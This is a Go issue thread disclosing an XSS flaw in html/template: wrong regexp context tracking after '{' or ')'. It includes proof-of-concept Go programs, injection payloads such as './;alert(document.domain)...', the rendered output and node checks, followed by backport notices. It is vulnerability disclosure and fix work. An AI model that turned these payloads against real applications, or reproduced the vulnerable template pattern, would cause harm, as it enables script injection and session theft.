html/template: potential XSS caused by wrong JavaScript regexp context tracking after top-level `{`

[thatnealpatel]

Previously, pathological inputs could close an
unescaped / early, allowing for attack-controlled
data to inject arbitrary content, potentially
leading to XSS.

Thanks to Ali Sherif for reporting this issue.

This is CVE-2026-56858 and Go issue https://go.dev/issue/80435.

---

This was a PUBLIC track issue, tracked in http://b/503512010.

Original report:

In src/html/template/transition.go, tJS() handles a top-level { inside <script> content without updating jsCtx through the normal JavaScript context transition logic.

Because of that, the following / can be treated as if it were in division context instead of regexp context. This makes html/template choose jsValEscaper instead of jsRegexpEscaper for a template action that is actually inside a JavaScript regexp literal.

That distinction matters because jsValEscaper uses JSON-style escaping and does not escape / for regexp safety, while jsRegexpEscaper escapes / as \/.

As a result, attacker-controlled input containing / can terminate the intended regexp literal in the browser parser and inject arbitrary JavaScript.

vulnerable pattern looks like:

<script>if(true){/{{.}}/g.test("x")}</script>

Attacker-controlled input:

./;alert(document.domain);var q=/.

Rendered output:

<script>if(true){/"./;alert(document.domain);var q=/."/g.test("x")}</script>

I tested this manually in a browser and alert(document.domain) executed, confirming XSS.

Control case used during testing:

<script>var x = {{.}}</script>

Using the same dangerous input in the control case did not trigger XSS, because that context correctly uses normal JavaScript value escaping. This helps show the issue is not just “dangerous input in JavaScript”, but a specific context-tracking bug that causes the wrong escaper to be selected after the top-level {.

PoC:

package main

import (
"bytes"
"fmt"
"html/template"
)

func main() {
tmpl := `<script>if(true){/{{.}}/g.test("x")}</script>`
input := `./;alert(document.domain);var q=/.`

t := template.Must(template.New("x").Parse(tmpl))
var buf bytes.Buffer
_ = t.Execute(&buf, input)

fmt.Println(buf.String())
}

Attack scenario

A fully external, unauthenticated attacker can exploit this if they control data passed to html/template.Execute() and the application renders that data in an affected regexp literal sink inside a <script> block after a top-level {.

The attacker gains JavaScript execution in the victim’s browser in the origin of the vulnerable application.

Depending on the target application, this can lead to session theft, account actions as the victim, sensitive data exfiltration, or other same-origin XSS impact.

---

[thatnealpatel]

Additional relevant report:

Threat model

Template author writes valid JS: if (cond) /{{.}}/g.test(str). After ) closing a control-flow condition, / begins a regex literal per ECMA-262. html/template's nextJSCtx returns jsCtxDivOp for ) (heuristic at js.go:79-89), selecting jsValEscaper instead of jsRegexpEscaper. jsValEscaper does not escape /. Attacker payload containing / breaks out of the regex literal; text after the injected ; executes as bare JS.

PoC

package main

import (
        "bytes"
        "fmt"
        "html/template"
)

func main() {
        for _, tc := range []struct {
                name, tmpl string
        }{
                {"if", `if (x) /{{.}}/g.test(y)`},
                {"while", `while (x) /{{.}}/g.test(y)`},
                {"for", `for (;;) /{{.}}/g.test(y)`},
        } {
                t := template.Must(template.New("t").Parse(`<script>` + tc.tmpl + `</script>`))
                var buf bytes.Buffer
                t.Execute(&buf, `/;alert(1)//`)
                fmt.Printf("[%s] %s\n", tc.name, buf.String())
        }
}

[if]    <script>if (x) /"/;alert(1)//"/g.test(y)</script>
[while] <script>while (x) /"/;alert(1)//"/g.test(y)</script>
[for]   <script>for (;;) /"/;alert(1)//"/g.test(y)</script>

Validation: templates are valid JS

$ echo 'if (x) /foo/g.test(y)' | node -c -
$ echo 'while (x) /foo/g.test(y)' | node -c -
$ echo 'for (;;) /foo/g.test(y)' | node -c -

All exit 0.

Validation: template outputs are valid JS

$ echo 'if (x) /"/;alert(1)//"/g.test(y)' | node -c -
$ echo 'while (x) /"/;alert(1)//"/g.test(y)' | node -c -
$ echo 'for (;;) /"/;alert(1)//"/g.test(y)' | node -c -

All exit 0 — the outputs parse as valid JavaScript. The engine tokenizes /"/ as a regex literal (expected in statement position after )), making ;alert(1) a separate ExpressionStatement.

Validation: alert executes

$ node -e 'var x=true,y="a"; eval("if (x) /\"/;alert(1)//\"/g.test(y)")'

Pops alert. Browser-confirmed via poc.html (all three vectors fire).

[dmitshur]

Which release is this a blocker for? (This issue currently has no Milestone, making the release-blocker label a no-op.)

[thatnealpatel]

@dmitshur I just marked it like how we mark all security issues that we file; for example, #80405.

I suppose it is "next minor release" blocker?

[gopherbot]

Change https://go.dev/cl/803400 mentions this issue: html/template: track regexp context after JavaScript statements

[gopherbot]

Change https://go.dev/cl/807100 mentions this issue: html/template: fix JavaScript regexp tracking

[mrkfrmn]

I'm under the impression that to participate in the minors, this needs backports.

@gopherbot open backport CLs for Go 1.25, Go 1.26, and Go 1.27.

[gopherbot]

Change https://go.dev/cl/811020 mentions this issue: [release-branch.go1.26] html/template: fix JavaScript regexp tracking

[gopherbot]

Change https://go.dev/cl/811000 mentions this issue: [release-branch.go1.25] html/template: fix JavaScript regexp tracking

[gopherbot]

Change https://go.dev/cl/811040 mentions this issue: [release-branch.go1.27] html/template: fix JavaScript regexp tracking